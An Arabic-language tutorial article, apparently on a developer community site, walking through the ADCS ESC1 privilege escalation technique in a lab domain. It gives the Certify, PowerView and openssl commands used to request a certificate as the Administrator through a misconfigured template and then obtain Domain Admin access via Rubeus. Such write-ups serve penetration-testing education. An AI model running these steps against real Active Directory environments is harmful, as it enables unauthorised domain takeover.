ADCS-ESC1

Jehad Alqurashiمنذ سنة

السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

 

 

مقدمة:

في هذي المقالة راح نتطرق لي اول تكنيك Domain Privilege Escalation عن طريق الـActive Directory Certificate Service

ماهي الـActive Directory Service Certificate :

 بإختصار يعتبر الـADCS ميزة من مزايا الوندوز سيرفر وتمكن الـDomain Admins من انشاء شهادات لتحكم في صلاحية المستخدمين والأجهزة في بيئة الـActive Directory بحيث أن من الممكن السماح لقروب معين او جهاز طلب شهادة عن طريق الـCertificate Authority (CA) لتمكنه من استخدام خدمة او الدخول لموقع محدد او حتى فك تشفير ملف معين وغيره الكثير.


ماهو تكنيك ESC-1:

في هذا التكينك راح يتم إستغلال قالب لشهادة معينه عن طريق الـSubject Alternative Name (SAN) الـSAN بتسمح لي المهاجم بطلب شهادة لشخص اخر مثل الـDomain Admins عن طريق تعويض الـUser Principal Name(UPN) لكن هذي تطلب شروط يجب ان يتم وضعها في القالب الخاص بالشهادة:

1- يجب ان تكون خلية msPKI-Certificate-Name-Flag تحمل قيمة CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT وهذا اللي راح يساعدنا في استغلال الـSubject Alternative Name بحيث نستطيع وضع مستخدم اخر لطلب شهادته (:
2- يجب ان تكون خلية Extended Key Usage(EKU) ضمن احد هذي الخيارات PKINIT Client Authentication, Smart Card Logon, Any Purpose, or no EKU
3- يجب ان يكون القروب المتواجد فيه ضمن الـEnrollment Rights

الأدوات المستخدمة:  Rubeus,PowerView,Certify

 

 

الشرح:

في بداية الأمر انا داخل بالمستخدم jehad كما هو موضح بالأسفل:

 


الان راح ننفذ هذا الامر عن طريق اداة Certify :

.\Certify.exe find

هذا الامر راح يبحث لنا عن جميع القوالب الخاصة بالشهادات ومعلوماتها ايضا ومن القروبات اللي يمكنك طلب شهادة
 


 

نلاحظ مع بعض في الصورة السابقة ان القالب اللي إسمه ESC1-Vulnerable يحمل جميع الشروط اللتي تم ذكرها مسبقا

بما تم التعرف على ان القالب  ESC1-Vulnerable مصاب يجب استخراج الـSID الخاص بالمستخدم اللي راح يتم استهدافه حتى نطلب شهادة بصلاحيته والمستخدم اللي راح نستهدفه Domain Admins

 

عن طريق هذا الامر يتم إستخراج الـSID:
 

get-netuser -identity Administrator | select objectsid

 

الان راح ننفذ هذا الامر عن طريق اداة Certify حتى نطلب شهادة بصلاحية الـAdministrator :
 

.\Certify.exe request /ca:WIN-GAA5SPNFAL9.vulnerable.local\ca-vulnerable /altname:administrator /sidextension:S-1-5-21-2470528004-2415548218-3837842802-500 /template:ESC1-Vulnerable

الان تم انشاء Certificate بصلاحية الـAdministrator لكن بصيغة pem  لكن لا نستطيع استخدامها نحتاج نحولها الى صيغة pfx عن طريق اداة openssl :


 

openssl pkcs12 -in Administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out Administrator.pfx

الان راح نستخدم اداة Rubeus حتى نطلب الـTGT الخاصة بالـAdministrator عن طريق الشهادة

 

بعد تم طلب الـTGT وحقنها في الميموري اصبحنا نملك صلاحيات الـDomain Admins خلونا ننفذ امر directory listing على الـDomain Controller حتى نثبت ذلك.

 

 

وصلنا لنهاية المقالة 

شاكر لكم.

كلمات دليلية: hacking
0
إعجاب
878
مشاهدات
0
مشاركة
1
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !